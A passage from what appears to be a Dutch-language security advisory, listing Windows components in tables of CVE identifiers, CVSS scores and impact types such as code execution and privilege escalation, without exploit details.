6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 